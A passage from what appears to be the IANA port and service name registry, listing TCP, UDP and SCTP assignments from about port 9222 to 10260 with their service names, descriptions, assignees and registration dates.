teamcoherence 9222 udp QSC Team Coherence [Ewan_McNab] [Ewan_McNab] 2004-11
9223-9254 Unassigned
mon 9255 tcp Manager On Network [David_Rouchet] [David_Rouchet] 2007-05
mon 9255 udp Manager On Network [David_Rouchet] [David_Rouchet] 2007-05
9256-9276 Unassigned
traingpsdata 9277 udp GPS Data transmitted from [Alstom_Transport_Preston] [Paul_Steane] 2012-12-14
train to ground network
9277 tcp Reserved
pegasus 9278 tcp Pegasus GPS Platform [Nestor_A_Diaz] [Nestor_A_Diaz] 2009-05-12
pegasus 9278 udp Pegasus GPS Platform [Nestor_A_Diaz] [Nestor_A_Diaz] 2009-05-12
pegasus-ctl 9279 tcp Pegaus GPS System Control [Nestor_A_Diaz] [Nestor_A_Diaz] 2009-05-12
Interface
pegasus-ctl 9279 udp Pegaus GPS System Control [Nestor_A_Diaz] [Nestor_A_Diaz] 2009-05-12
Interface
pgps 9280 tcp Predicted GPS [Jeremy_Freeman] [Jeremy_Freeman] 2008-02-14
pgps 9280 udp Predicted GPS [Jeremy_Freeman] [Jeremy_Freeman] 2008-02-14
swtp-port1 9281 tcp SofaWare transport port 1 [Amir_Rapson] [Amir_Rapson] 2002-02
swtp-port1 9281 udp SofaWare transport port 1 [Amir_Rapson] [Amir_Rapson] 2002-02
swtp-port2 9282 tcp SofaWare transport port 2 [Amir_Rapson] [Amir_Rapson] 2002-02
swtp-port2 9282 udp SofaWare transport port 2 [Amir_Rapson] [Amir_Rapson] 2002-02
callwaveiam 9283 tcp CallWaveIAM [Colin_Kelley] [Colin_Kelley]
callwaveiam 9283 udp CallWaveIAM [Colin_Kelley] [Colin_Kelley]
visd 9284 tcp VERITAS Information Serve [Ravi_Tavakely] [Ravi_Tavakely] 2002-02
visd 9284 udp VERITAS Information Serve [Ravi_Tavakely] [Ravi_Tavakely] 2002-02
n2h2server 9285 tcp N2H2 Filter Service Port [Jim_Irwin] [Jim_Irwin] 2002-02
n2h2server 9285 udp N2H2 Filter Service Port [Jim_Irwin] [Jim_Irwin] 2002-02
9286 tcp Reserved
n2receive 9286 udp n2 monitoring receiver [Peter_van_Dijk] [Peter_van_Dijk] 2011-01-10
cumulus 9287 tcp Cumulus [Thomas_Schleu] [Thomas_Schleu]
cumulus 9287 udp Cumulus [Thomas_Schleu] [Thomas_Schleu]
9288-9291 Unassigned
armtechdaemon 9292 tcp ArmTech Daemon [Rohan_Story] [Rohan_Story]
armtechdaemon 9292 udp ArmTech Daemon [Rohan_Story] [Rohan_Story]
storview 9293 tcp StorView Client [Ryan_Smith] [Ryan_Smith] 2006-07
storview 9293 udp StorView Client [Ryan_Smith] [Ryan_Smith] 2006-07
armcenterhttp 9294 tcp ARMCenter http Service [Eric_Thiebaut_George] [Eric_Thiebaut_George] 2006-04
armcenterhttp 9294 udp ARMCenter http Service [Eric_Thiebaut_George] [Eric_Thiebaut_George] 2006-04
armcenterhttps 9295 tcp ARMCenter https Service [Eric_Thiebaut_George] [Eric_Thiebaut_George] 2006-04
armcenterhttps 9295 udp ARMCenter https Service [Eric_Thiebaut_George] [Eric_Thiebaut_George] 2006-04
9296-9299 Unassigned
vrace 9300 tcp Virtual Racing Service [Pete_Loeffen] [Pete_Loeffen] 2006-10
vrace 9300 udp Virtual Racing Service [Pete_Loeffen] [Pete_Loeffen] 2006-10
9301-9305 Unassigned
sphinxql 9306 tcp Sphinx search server (MySQL [Andrew_Aksyonoff] [Andrew_Aksyonoff] 2009-10-20
listener)
9306 udp Reserved
9307-9311 Unassigned
sphinxapi 9312 tcp Sphinx search server [Andrew_Aksyonoff] [Andrew_Aksyonoff] 2009-10-20
9312 udp Reserved
9313-9317 Unassigned
secure-ts 9318 tcp PKIX TimeStamp over TLS [Niklas_Weiss] [Niklas_Weiss] 2004-11
secure-ts 9318 udp PKIX TimeStamp over TLS [Niklas_Weiss] [Niklas_Weiss] 2004-11
9319-9320 Unassigned
guibase 9321 tcp guibase [Yutaka_Ono] [Yutaka_Ono]
guibase 9321 udp guibase [Yutaka_Ono] [Yutaka_Ono]
9322-9342 Unassigned
mpidcmgr 9343 tcp MpIdcMgr [Yutaka_Ono] [Yutaka_Ono]
mpidcmgr 9343 udp MpIdcMgr [Yutaka_Ono] [Yutaka_Ono]
mphlpdmc 9344 tcp Mphlpdmc [Yutaka_Ono] [Yutaka_Ono]
mphlpdmc 9344 udp Mphlpdmc [Yutaka_Ono] [Yutaka_Ono]
rancher 9345 tcp Rancher Agent [Rancher_Labs_Inc] [Vincent_Fiduccia] 2015-04-14
9345 udp Reserved
ctechlicensing 9346 tcp C Tech Licensing [Reed_Copsey_Jr] [Reed_Copsey_Jr]
ctechlicensing 9346 udp C Tech Licensing [Reed_Copsey_Jr] [Reed_Copsey_Jr]
9347-9373 Unassigned
fjdmimgr 9374 tcp fjdmimgr [Yutaka_Ono] [Yutaka_Ono]
fjdmimgr 9374 udp fjdmimgr [Yutaka_Ono] [Yutaka_Ono]
9375-9379 Unassigned
boxp 9380 tcp Brivs! Open Extensible [Danko_Alexeyev] [Danko_Alexeyev] 2007-08-08
Protocol
boxp 9380 udp Brivs! Open Extensible [Danko_Alexeyev] [Danko_Alexeyev] 2007-08-08
Protocol
9381-9386 Unassigned
d2dconfig 9387 tcp D2D Configuration Service [Pete_Camble] [Pete_Camble] 2008-12-24
9387 udp Reserved
d2ddatatrans 9388 tcp D2D Data Transfer Service [Pete_Camble] [Pete_Camble] 2008-12-24
9388 udp Reserved
adws 9389 tcp Active Directory Web [Nitin_Gupta] [Nitin_Gupta] 2008-12-24
Services
9389 udp Reserved
otp 9390 tcp OpenVAS Transfer Protocol [Tim_Brown] [Tim_Brown] 2008-12-24
9390 udp Reserved
9391-9395 Unassigned
fjinvmgr 9396 tcp fjinvmgr [Yutaka_Ono] [Yutaka_Ono]
fjinvmgr 9396 udp fjinvmgr [Yutaka_Ono] [Yutaka_Ono]
mpidcagt 9397 tcp MpIdcAgt [Yutaka_Ono] [Yutaka_Ono]
mpidcagt 9397 udp MpIdcAgt [Yutaka_Ono] [Yutaka_Ono]
9398-9399 Unassigned
sec-t4net-srv 9400 tcp Samsung Twain for Network [Dongkeun_Kim] [Dongkeun_Kim] 2007-02
Server
sec-t4net-srv 9400 udp Samsung Twain for Network [Dongkeun_Kim] [Dongkeun_Kim] 2007-02
Server
sec-t4net-clt 9401 tcp Samsung Twain for Network [Dongkeun_Kim] [Dongkeun_Kim] 2007-02
Client
sec-t4net-clt 9401 udp Samsung Twain for Network [Dongkeun_Kim] [Dongkeun_Kim] 2007-02
Client
sec-pc2fax-srv 9402 tcp Samsung PC2FAX for Network [HyeongBae_Yu] [HyeongBae_Yu] 2008-07-31
Server
sec-pc2fax-srv 9402 udp Samsung PC2FAX for Network [HyeongBae_Yu] [HyeongBae_Yu] 2008-07-31
Server
9403-9417 Unassigned
git 9418 tcp git pack transfer service [Linus_Torvalds] [Linus_Torvalds] 2005-09
git 9418 udp git pack transfer service [Linus_Torvalds] [Linus_Torvalds] 2005-09
9419-9442 Unassigned
tungsten-https 9443 tcp WSO2 Tungsten HTTPS [Afkham_Azeez] [Afkham_Azeez] 2006-06
tungsten-https 9443 udp WSO2 Tungsten HTTPS [Afkham_Azeez] [Afkham_Azeez] 2006-06
wso2esb-console 9444 tcp WSO2 ESB Administration [Ruwan_Linton] [Ruwan_Linton] 2008-08-20
Console HTTPS
wso2esb-console 9444 udp WSO2 ESB Administration [Ruwan_Linton] [Ruwan_Linton] 2008-08-20
Console HTTPS
mindarray-ca 9445 tcp MindArray Systems Console [MINDARRAY_SYSTEMS] [ALPESH_DHAMELIA] 2011-10-25
Agent
9445 udp Reserved
9446-9449 Unassigned
sntlkeyssrvr 9450 tcp Sentinel Keys Server [Martin_Ziskind] [Martin_Ziskind] 2008-08-21
sntlkeyssrvr 9450 udp Sentinel Keys Server [Martin_Ziskind] [Martin_Ziskind] 2008-08-21
9451-9499 Unassigned
ismserver 9500 tcp ismserver [Ian_Gordon_3] [Ian_Gordon_3]
ismserver 9500 udp ismserver [Ian_Gordon_3] [Ian_Gordon_3]
9501-9521 Unassigned
9522 tcp Reserved
sma-spw 9522 udp SMA Speedwire [SMA_Solar_Techology] [SMA_Solar_Techology] 2011-03-08
9523-9534 Unassigned
mngsuite 9535 tcp Management Suite Remote [Trevor_Perkes] [Trevor_Perkes] 2010-02-01
Control
mngsuite 9535 udp Management Suite Remote [Trevor_Perkes] [Trevor_Perkes] 2010-02-01
Control
laes-bf 9536 tcp Surveillance buffering [Glen_Myers] [Glen_Myers] 2007-05
function
laes-bf 9536 udp Surveillance buffering [Glen_Myers] [Glen_Myers] 2007-05
function
9537-9554 Unassigned
trispen-sra 9555 tcp Trispen Secure Remote Access [Jaco_Botha] [Jaco_Botha] 2004-11
trispen-sra 9555 udp Trispen Secure Remote Access [Jaco_Botha] [Jaco_Botha] 2004-11
9556-9591 Unassigned
ldgateway 9592 tcp LANDesk Gateway [Alan_Butt] [Alan_Butt] 2006-03
ldgateway 9592 udp LANDesk Gateway [Alan_Butt] [Alan_Butt] 2006-03
cba8 9593 tcp LANDesk Management Agent [Trevor_Perkes] [Trevor_Perkes] 2010-02-01
(cba8)
cba8 9593 udp LANDesk Management Agent [Trevor_Perkes] [Trevor_Perkes] 2010-02-01
(cba8)
msgsys 9594 tcp Message System [Alan_Butt] [Alan_Butt]
msgsys 9594 udp Message System [Alan_Butt] [Alan_Butt]
pds 9595 tcp Ping Discovery Service [Alan_Butt] [Alan_Butt]
pds 9595 udp Ping Discovery Service [Alan_Butt] [Alan_Butt]
mercury-disc 9596 tcp Mercury Discovery [Paul_Mclachlan] [Paul_Mclachlan] 2005-11
mercury-disc 9596 udp Mercury Discovery [Paul_Mclachlan] [Paul_Mclachlan] 2005-11
pd-admin 9597 tcp PD Administration [Duk_Loi] [Duk_Loi] 2005-11
pd-admin 9597 udp PD Administration [Duk_Loi] [Duk_Loi] 2005-11
vscp 9598 tcp Very Simple Ctrl Protocol [Ake_Hedman] [Ake_Hedman] 2005-11
vscp 9598 udp Very Simple Ctrl Protocol [Ake_Hedman] [Ake_Hedman] 2005-11
robix 9599 tcp Robix [Evan_Rosen] [Evan_Rosen] 2005-11
robix 9599 udp Robix [Evan_Rosen] [Evan_Rosen] 2005-11
micromuse-ncpw 9600 tcp MICROMUSE-NCPW [Hing_Wing_To_2] [Hing_Wing_To_2]
micromuse-ncpw 9600 udp MICROMUSE-NCPW [Hing_Wing_To_2] [Hing_Wing_To_2]
9601-9611 Unassigned
streamcomm-ds 9612 tcp StreamComm User Directory [Brian_C_Wiles] [Brian_C_Wiles]
streamcomm-ds 9612 udp StreamComm User Directory [Brian_C_Wiles] [Brian_C_Wiles]
9613 Unassigned
iadt-tls 9614 tcp iADT Protocol over TLS [Paul_A_Suhler] [Paul_A_Suhler] 2009-02-05
9614 udp Reserved
9615 Unassigned
eRunbook Agent
erunbook-agent 9616 tcp IANA assigned this [Gerhard_Wagner] [Gerhard_Wagner] 2009-03-10
well-formed service name as
a replacement for
"erunbook_agent".
This entry is an alias to "erunbook-agent". This entry is now
erunbook_agent 9616 tcp eRunbook Agent [Gerhard_Wagner] [Gerhard_Wagner] 2009-03-10 historic, not usable for use with many common service
discovery mechanisms.
9616 udp Reserved
eRunbook Server
erunbook-server 9617 tcp IANA assigned this [Gerhard_Wagner] [Gerhard_Wagner] 2009-03-10
well-formed service name as
a replacement for
"erunbook_server".
This entry is an alias to "erunbook-server". This entry is
erunbook_server 9617 tcp eRunbook Server [Gerhard_Wagner] [Gerhard_Wagner] 2009-03-10 now historic, not usable for use with many common service
discovery mechanisms.
9617 udp Reserved
condor 9618 tcp Condor Collector Service [Todd_Tannenbaum] [Todd_Tannenbaum] 2008-04-03
condor 9618 udp Condor Collector Service [Todd_Tannenbaum] [Todd_Tannenbaum] 2008-04-03
9619-9627 Unassigned
odbcpathway 9628 tcp ODBC Pathway Service [Adrian_Hungate] [Adrian_Hungate] 2007-05
odbcpathway 9628 udp ODBC Pathway Service [Adrian_Hungate] [Adrian_Hungate] 2007-05
uniport 9629 tcp UniPort SSO Controller [Adrian_Hungate] [Adrian_Hungate] 2007-09-05
uniport 9629 udp UniPort SSO Controller [Adrian_Hungate] [Adrian_Hungate] 2007-09-05
peoctlr 9630 tcp Peovica Controller [Adrian_Hungate] [Adrian_Hungate] 2009-09-14
9630 udp Reserved
peocoll 9631 tcp Peovica Collector [Adrian_Hungate] [Adrian_Hungate] 2009-09-14
9631 udp Reserved
9632 tcp Reserved
mc-comm 9632 udp Mobile-C Communications [David_Ko_2] [David_Ko_2] 2009-09-14
9633-9639 Unassigned
pqsflows 9640 tcp ProQueSys Flows Service [Sarene_Caiazza] [Sarene_Caiazza] 2010-04-27
9640 udp Reserved
9641-9665 Unassigned
zoomcp 9666 tcp Zoom Control Panel Game [Zoom_Control_Panel] [Joshua_Pedroza] 2014-02-26
Server Management
9666 udp Reserved
xmms2 9667 tcp Cross-platform Music [Juho_Herttua] [Juho_Herttua] 2009-04-14
Multiplexing System
xmms2 9667 udp Cross-platform Music [Juho_Herttua] [Juho_Herttua]
Multiplexing System
tec5-sdctp 9668 tcp tec5 Spectral Device Control [Michael_Muth] [Michael_Muth] 2009-05-11
Protocol
tec5-sdctp 9668 udp tec5 Spectral Device Control [Michael_Muth] [Michael_Muth] 2009-05-11
Protocol
9669-9693 Unassigned
client-wakeup 9694 tcp T-Mobile Client Wakeup [Michael_Schonborn] [Michael_Schonborn] 2009-09-11
Message
client-wakeup 9694 udp T-Mobile Client Wakeup [Michael_Schonborn] [Michael_Schonborn] 2009-09-11
Message
ccnx 9695 tcp Content Centric Networking [Van_Jacobson_2][Simon_Barber] [Van_Jacobson_2][Simon_Barber] 2009-09-29
ccnx 9695 udp Content Centric Networking [Van_Jacobson_2][Simon_Barber] [Van_Jacobson_2][Simon_Barber] 2009-09-29
9696-9699 Unassigned
board-roar 9700 tcp Board M.I.T. Service [Francesco_Rosi] [Francesco_Rosi] 2006-01
board-roar 9700 udp Board M.I.T. Service [Francesco_Rosi] [Francesco_Rosi] 2006-01
9701-9746 Unassigned
l5nas-parchan 9747 tcp L5NAS Parallel Channel [Lawrence_J_Dickson] [Lawrence_J_Dickson] 2002-03
l5nas-parchan 9747 udp L5NAS Parallel Channel [Lawrence_J_Dickson] [Lawrence_J_Dickson] 2002-03
9748-9749 Unassigned
board-voip 9750 tcp Board M.I.T. Synchronous [Francesco_Rosi] [Francesco_Rosi] 2006-01
Collaboration
board-voip 9750 udp Board M.I.T. Synchronous [Francesco_Rosi] [Francesco_Rosi] 2006-01
Collaboration
9751-9752 Unassigned
rasadv 9753 tcp rasadv [Dave_Thaler_2] [Dave_Thaler_2]
rasadv 9753 udp rasadv [Dave_Thaler_2] [Dave_Thaler_2]
9754-9761 Unassigned
tungsten-http 9762 tcp WSO2 Tungsten HTTP [Afkham_Azeez] [Afkham_Azeez] 2006-06
tungsten-http 9762 udp WSO2 Tungsten HTTP [Afkham_Azeez] [Afkham_Azeez] 2006-06
9763-9799 Unassigned
davsrc 9800 tcp WebDav Source Port [Ethan_Fremen] [Ethan_Fremen]
davsrc 9800 udp WebDav Source Port [Ethan_Fremen] [Ethan_Fremen]
sstp-2 9801 tcp Sakura Script Transfer [Kouichi_Takeda_2] [Kouichi_Takeda_2]
Protocol-2
sstp-2 9801 udp Sakura Script Transfer [Kouichi_Takeda_2] [Kouichi_Takeda_2]
Protocol-2
davsrcs 9802 tcp WebDAV Source TLS/SSL [Rob_Isaac] [Rob_Isaac] 2003-07
davsrcs 9802 udp WebDAV Source TLS/SSL [Rob_Isaac] [Rob_Isaac] 2003-07
9803-9874 Unassigned
sapv1 9875 tcp Session Announcement v1 [RFC2974]
sapv1 9875 udp Session Announcement v1 [RFC2974]
sd 9876 tcp Session Director [Van_Jacobson] [Van_Jacobson]
9877 Unassigned
The KX509 Kerberized Historically, this service has been referred to as
kca-service 9878 udp Certificate Issuance [IESG] [IETF_Chair] 2012-07-12 [RFC6717] "kca_service", but this service name does not meet the
Protocol in Use in 2012 registry requirements.
9878 tcp Reserved
9879-9887 Unassigned
cyborg-systems 9888 tcp CYBORG Systems [Malcolm_Graham] [Malcolm_Graham]
cyborg-systems 9888 udp CYBORG Systems [Malcolm_Graham] [Malcolm_Graham]
Port for Cable network
gt-proxy 9889 tcp related data proxy or [Dawei_Qi] [Dawei_Qi] 2010-07-07
repeater
Port for Cable network
gt-proxy 9889 udp related data proxy or [Dawei_Qi] [Dawei_Qi] 2010-07-07
repeater
9890-9897 Unassigned
monkeycom 9898 tcp MonkeyCom [Yuji_Kuwabara] [Yuji_Kuwabara]
monkeycom 9898 udp MonkeyCom [Yuji_Kuwabara] [Yuji_Kuwabara]
9899 tcp Reserved 2013-04-10
sctp-tunneling 9899 udp SCTP TUNNELING [IESG] [IETF_Chair] 2013-04-10 [RFC6951]
iua 9900 tcp IUA [Lyndon_Ong_2] [Lyndon_Ong_2]
iua 9900 udp IUA [Lyndon_Ong_2] [Lyndon_Ong_2]
iua 9900 sctp IUA [Lyndon_Ong_2] [Lyndon_Ong_2]
enrp 9901 udp enrp server channel
enrp-sctp 9901 sctp enrp server channel [RFC5353]
enrp-sctp-tls 9902 sctp enrp/tls server channel [RFC5353]
9903 tcp Reserved
multicast-ping 9903 udp Multicast Ping Protocol 2011-12-09 [RFC6450]
9904-9908 Unassigned
domaintime 9909 tcp domaintime [Jeffry_Dwight] [Jeffry_Dwight]
domaintime 9909 udp domaintime [Jeffry_Dwight] [Jeffry_Dwight]
9910 Unassigned
sype-transport 9911 tcp SYPECom Transport Protocol [Sylvain_Pedneault] [Sylvain_Pedneault] 2003-03
sype-transport 9911 udp SYPECom Transport Protocol [Sylvain_Pedneault] [Sylvain_Pedneault] 2003-03
9912-9924 Unassigned
xybrid-cloud 9925 tcp XYBRID Cloud [Rx_Networks_Inc_2] [Drew_Davies_2] 2013-04-25
9925 udp Reserved
9926-9949 Unassigned
apc-9950 9950 tcp APC 9950 [American_Power_Conve] [American_Power_Conve]
apc-9950 9950 udp APC 9950 [American_Power_Conve] [American_Power_Conve]
apc-9951 9951 tcp APC 9951 [American_Power_Conve] [American_Power_Conve]
apc-9951 9951 udp APC 9951 [American_Power_Conve] [American_Power_Conve]
apc-9952 9952 tcp APC 9952 [American_Power_Conve] [American_Power_Conve]
apc-9952 9952 udp APC 9952 [American_Power_Conve] [American_Power_Conve]
acis 9953 tcp 9953 [Thomas_Guth] [Thomas_Guth] 2006-01
acis 9953 udp 9953 [Thomas_Guth] [Thomas_Guth] 2006-01
hinp 9954 tcp HaloteC Instrument Network [HaloteC_Instruments] [Michel_Stam] 2012-02-07
Protocol
9954 udp Reserved
alljoyn-stm 9955 tcp Contact Port for AllJoyn [Qualcomm_Innovation_Center] [Craig_Dowell] 2012-03-14
standard messaging
Contact Port for AllJoyn
alljoyn-mcm 9955 udp multiplexed constrained [Qualcomm_Innovation_Center] [Craig_Dowell] 2012-03-14
messaging
9956 tcp Reserved
alljoyn 9956 udp Alljoyn Name Service [Qualcomm_Innovation_Center] [Craig_Dowell] 2011-12-21
9957-9965 Unassigned
odnsp 9966 tcp OKI Data Network Setting [Masato_Sato] [Masato_Sato] 2006-05
Protocol
odnsp 9966 udp OKI Data Network Setting [Masato_Sato] [Masato_Sato] 2006-05
Protocol
9967-9977 Unassigned
xybrid-rt 9978 tcp XYBRID RT Server [Rx_Networks_Inc] [Drew_Davies] 2013-01-24
9978 udp Reserved
visweather 9979 tcp Valley Information Systems [Valley_Information_Systems_Inc] [Michael_Walsh_2] 2017-05-12
Weather station data
9979 udp Reserved
9980 Unassigned
Event sourcing database
pumpkindb 9981 tcp engine with a built-in [Eventsourcing_Inc] [Yurii_Rashkovskii] 2017-04-18
programming language
9981 udp Reserved
9982-9986 Unassigned
dsm-scm-target 9987 tcp DSM/SCM Target Interface [Mike_Dyslin] [Mike_Dyslin] 2006-08
dsm-scm-target 9987 udp DSM/SCM Target Interface [Mike_Dyslin] [Mike_Dyslin] 2006-08
nsesrvr 9988 tcp Software Essentials Secure [Narayanan_Raju] [Narayanan_Raju] 2009-02-05
HTTP server
9988 udp Reserved
9989-9989 Unassigned
osm-appsrvr 9990 tcp OSM Applet Server [Vinay_Gupta] [Vinay_Gupta] 2003-08
osm-appsrvr 9990 udp OSM Applet Server [Vinay_Gupta] [Vinay_Gupta] 2003-08
osm-oev 9991 tcp OSM Event Server [Vinay_Gupta] [Vinay_Gupta] 2003-08
osm-oev 9991 udp OSM Event Server [Vinay_Gupta] [Vinay_Gupta] 2003-08
palace-1 9992 tcp OnLive-1 [Douglas_Crockford] [Douglas_Crockford]
palace-1 9992 udp OnLive-1 [Douglas_Crockford] [Douglas_Crockford]
palace-2 9993 tcp OnLive-2 [Douglas_Crockford] [Douglas_Crockford]
palace-2 9993 udp OnLive-2 [Douglas_Crockford] [Douglas_Crockford]
palace-3 9994 tcp OnLive-3 [Douglas_Crockford] [Douglas_Crockford]
palace-3 9994 udp OnLive-3 [Douglas_Crockford] [Douglas_Crockford]
palace-4 9995 tcp Palace-4 [Douglas_Crockford] [Douglas_Crockford]
palace-4 9995 udp Palace-4 [Douglas_Crockford] [Douglas_Crockford]
palace-5 9996 tcp Palace-5 [Douglas_Crockford] [Douglas_Crockford]
palace-5 9996 udp Palace-5 [Douglas_Crockford] [Douglas_Crockford]
palace-6 9997 tcp Palace-6 [Douglas_Crockford] [Douglas_Crockford]
palace-6 9997 udp Palace-6 [Douglas_Crockford] [Douglas_Crockford]
distinct32 9998 tcp Distinct32 [Anoop_Tewari] [Anoop_Tewari]
distinct32 9998 udp Distinct32 [Anoop_Tewari] [Anoop_Tewari]
distinct 9999 tcp distinct [Anoop_Tewari] [Anoop_Tewari]
distinct 9999 udp distinct [Anoop_Tewari] [Anoop_Tewari]
ndmp 10000 tcp Network Data Management [Brian_Ehrmantraut] [Brian_Ehrmantraut]
Protocol
ndmp 10000 udp Network Data Management [Brian_Ehrmantraut] [Brian_Ehrmantraut]
Protocol
scp-config 10001 tcp SCP Configuration [Michael_Benz] [Michael_Benz] 2010-08-06
scp-config 10001 udp SCP Configuration [Michael_Benz] [Michael_Benz] 2010-08-06
documentum 10002 tcp EMC-Documentum Content [Reza_Bagherian] [Reza_Bagherian] 2007-07-19
Server Product
documentum 10002 udp EMC-Documentum Content [Reza_Bagherian] [Reza_Bagherian] 2007-07-19
Server Product
EMC-Documentum Content
Server Product
documentum-s 10003 tcp IANA assigned this [Reza_Bagherian] [Reza_Bagherian] 2007-07-19
well-formed service name as
a replacement for
"documentum_s".
EMC-Documentum Content This entry is an alias to "documentum-s". This entry is now
documentum_s 10003 tcp Server Product [Reza_Bagherian] [Reza_Bagherian] 2007-07-19 historic, not usable for use with many common service
discovery mechanisms.
EMC-Documentum Content
Server Product
documentum-s 10003 udp IANA assigned this [Reza_Bagherian] [Reza_Bagherian] 2007-07-19
well-formed service name as
a replacement for
"documentum_s".
EMC-Documentum Content This entry is an alias to "documentum-s". This entry is now
documentum_s 10003 udp Server Product [Reza_Bagherian] [Reza_Bagherian] 2007-07-19 historic, not usable for use with many common service
discovery mechanisms.
emcrmirccd 10004 tcp EMC Replication Manager [Robert_Boudrie] [Robert_Boudrie] 2008-06-09
Client
10004 udp Reserved
emcrmird 10005 tcp EMC Replication Manager [Robert_Boudrie] [Robert_Boudrie] 2008-06-09
Server
10005 udp Reserved
Sync replication protocol
netapp-sync 10006 tcp among different NetApp [NetApp_2] [Paul_Mu] 2014-08-07
platforms
10006 udp Reserved
mvs-capacity 10007 tcp MVS Capacity [Donna_Dillenberger] [Donna_Dillenberger]
mvs-capacity 10007 udp MVS Capacity [Donna_Dillenberger] [Donna_Dillenberger]
octopus 10008 tcp Octopus Multiplexer [Chris_Koeritz_2] [Chris_Koeritz_2] 2002-10
octopus 10008 udp Octopus Multiplexer [Chris_Koeritz_2] [Chris_Koeritz_2] 2002-10
swdtp-sv 10009 tcp Systemwalker Desktop Patrol [Akira_Ide] [Akira_Ide] 2006-03
swdtp-sv 10009 udp Systemwalker Desktop Patrol [Akira_Ide] [Akira_Ide] 2006-03
rxapi 10010 tcp ooRexx rxapi services [David_Ashley] [David_Ashley] 2009-07-24
10010 udp Reserved
10011-10019 Unassigned
abb-hw 10020 tcp Hardware configuration and [ABB] [Adam_Norén] 2017-03-28
maintenance
10020 udp Reserved
10021-10049 Unassigned
zabbix-agent 10050 tcp Zabbix Agent [Alexei_Vladishev] [Alexei_Vladishev] 2006-02
zabbix-agent 10050 udp Zabbix Agent [Alexei_Vladishev] [Alexei_Vladishev] 2006-02
zabbix-trapper 10051 tcp Zabbix Trapper [Alexei_Vladishev] [Alexei_Vladishev] 2006-02
zabbix-trapper 10051 udp Zabbix Trapper [Alexei_Vladishev] [Alexei_Vladishev] 2006-02
10052-10054 Unassigned
qptlmd 10055 tcp Quantapoint FLEXlm Licensing [Justin_Vegso] [Justin_Vegso] 2010-07-01
Service
10055 udp Reserved
10056-10079 Unassigned
amanda 10080 tcp Amanda [John_Jackson] [John_Jackson]
amanda 10080 udp Amanda [John_Jackson] [John_Jackson]
famdc 10081 tcp FAM Archive Server [Frode_Randers] [Frode_Randers] 2006-01
famdc 10081 udp FAM Archive Server [Frode_Randers] [Frode_Randers] 2006-01
10082-10099 Unassigned
itap-ddtp 10100 tcp VERITAS ITAP DDTP [Saugata_Guha] [Saugata_Guha] 2004-05
itap-ddtp 10100 udp VERITAS ITAP DDTP [Saugata_Guha] [Saugata_Guha] 2004-05
ezmeeting-2 10101 tcp eZmeeting [Albert_C_Yang] [Albert_C_Yang] 2002-03
ezmeeting-2 10101 udp eZmeeting [Albert_C_Yang] [Albert_C_Yang] 2002-03
ezproxy-2 10102 tcp eZproxy [Albert_C_Yang] [Albert_C_Yang] 2002-03
ezproxy-2 10102 udp eZproxy [Albert_C_Yang] [Albert_C_Yang] 2002-03
ezrelay 10103 tcp eZrelay [Albert_C_Yang] [Albert_C_Yang] 2002-03
ezrelay 10103 udp eZrelay [Albert_C_Yang] [Albert_C_Yang] 2002-03
swdtp 10104 tcp Systemwalker Desktop Patrol [Akira_Ide] [Akira_Ide] 2006-09
swdtp 10104 udp Systemwalker Desktop Patrol [Akira_Ide] [Akira_Ide] 2006-09
10105-10106 Unassigned
bctp-server 10107 tcp VERITAS BCTP, server [Saugata_Guha] [Saugata_Guha] 2004-05
bctp-server 10107 udp VERITAS BCTP, server [Saugata_Guha] [Saugata_Guha] 2004-05
10108-10109 Unassigned
nmea-0183 10110 tcp NMEA-0183 Navigational Data [Meindert_Sprang] [Meindert_Sprang] 2009-02-18
nmea-0183 10110 udp NMEA-0183 Navigational Data [Meindert_Sprang] [Meindert_Sprang] 2009-02-18
10111 tcp Reserved
nmea-onenet 10111 udp NMEA OneNet multicast [National_Marine_Electronics_Association] [Steve_Spitzer] 2011-09-15
messaging
10112 Unassigned
netiq-endpoint 10113 tcp NetIQ Endpoint [John_Wood] [John_Wood]
netiq-endpoint 10113 udp NetIQ Endpoint [John_Wood] [John_Wood]
netiq-qcheck 10114 tcp NetIQ Qcheck [Michael_Sharpe] [Michael_Sharpe] 2010-09-14
netiq-qcheck 10114 udp NetIQ Qcheck [Michael_Sharpe] [Michael_Sharpe] 2010-09-14
netiq-endpt 10115 tcp NetIQ Endpoint [Gary_Weichinger] [Gary_Weichinger]
netiq-endpt 10115 udp NetIQ Endpoint [Gary_Weichinger] [Gary_Weichinger]
netiq-voipa 10116 tcp NetIQ VoIP Assessor [Gary_Weichinger] [Gary_Weichinger]
netiq-voipa 10116 udp NetIQ VoIP Assessor [Gary_Weichinger] [Gary_Weichinger]
iqrm 10117 tcp NetIQ IQCResource Managament [Michael_Sharpe] [Michael_Sharpe] 2010-09-14
Svc
iqrm 10117 udp NetIQ IQCResource Managament [Michael_Sharpe] [Michael_Sharpe] 2010-09-14
Svc
10118-10124 Unassigned
cimple 10125 tcp HotLink CIMple REST API [HotLink_Corporation] [Richard_Offer] 2014-12-18
10125 udp Reserved
10126-10127 Unassigned
bmc-perf-sd 10128 tcp BMC-PERFORM-SERVICE DAEMON [Portnoy_Boxman] [Portnoy_Boxman]
bmc-perf-sd 10128 udp BMC-PERFORM-SERVICE DAEMON [Portnoy_Boxman] [Portnoy_Boxman]
bmc-gms 10129 tcp BMC General Manager Server [Dima_Seliverstov] [Dima_Seliverstov] 2009-07-28
10129 udp Reserved
10130-10159 Unassigned
qb-db-server 10160 tcp QB Database Server [Wei_Wang] [Wei_Wang] 2005-11
qb-db-server 10160 udp QB Database Server [Wei_Wang] [Wei_Wang] 2005-11
snmptls 10161 tcp SNMP-TLS [RFC6353]
snmpdtls 10161 udp SNMP-DTLS [RFC6353]
snmptls-trap 10162 tcp SNMP-Trap-TLS [RFC6353]
snmpdtls-trap 10162 udp SNMP-Trap-DTLS [RFC6353]
10163-10199 Unassigned
trisoap 10200 tcp Trigence AE Soap Service [Brigitte_Gagne] [Brigitte_Gagne] 2006-08
trisoap 10200 udp Trigence AE Soap Service [Brigitte_Gagne] [Brigitte_Gagne] 2006-08
rsms 10201 tcp Remote Server Management [Patrick_H_Piper] [Patrick_H_Piper] 2009-03-06
Service
rscs 10201 udp Remote Server Control and [Patrick_H_Piper] [Patrick_H_Piper] 2009-03-06
Test Service
10202-10251 Unassigned
apollo-relay 10252 tcp Apollo Relay Port [Anthony_Carrabino] [Anthony_Carrabino] 2003-08
apollo-relay 10252 udp Apollo Relay Port [Anthony_Carrabino] [Anthony_Carrabino] 2003-08
eapol-relay 10253 udp Relay of EAPOL frames [Wi-SUN_Alliance] [Phil_Beecher] 2015-06-26
10253 tcp Reserved
10254-10259 Unassigned
axis-wimp-port 10260 tcp Axis WIMP Port [Stefan_Eriksson] [Stefan_Eriksson]
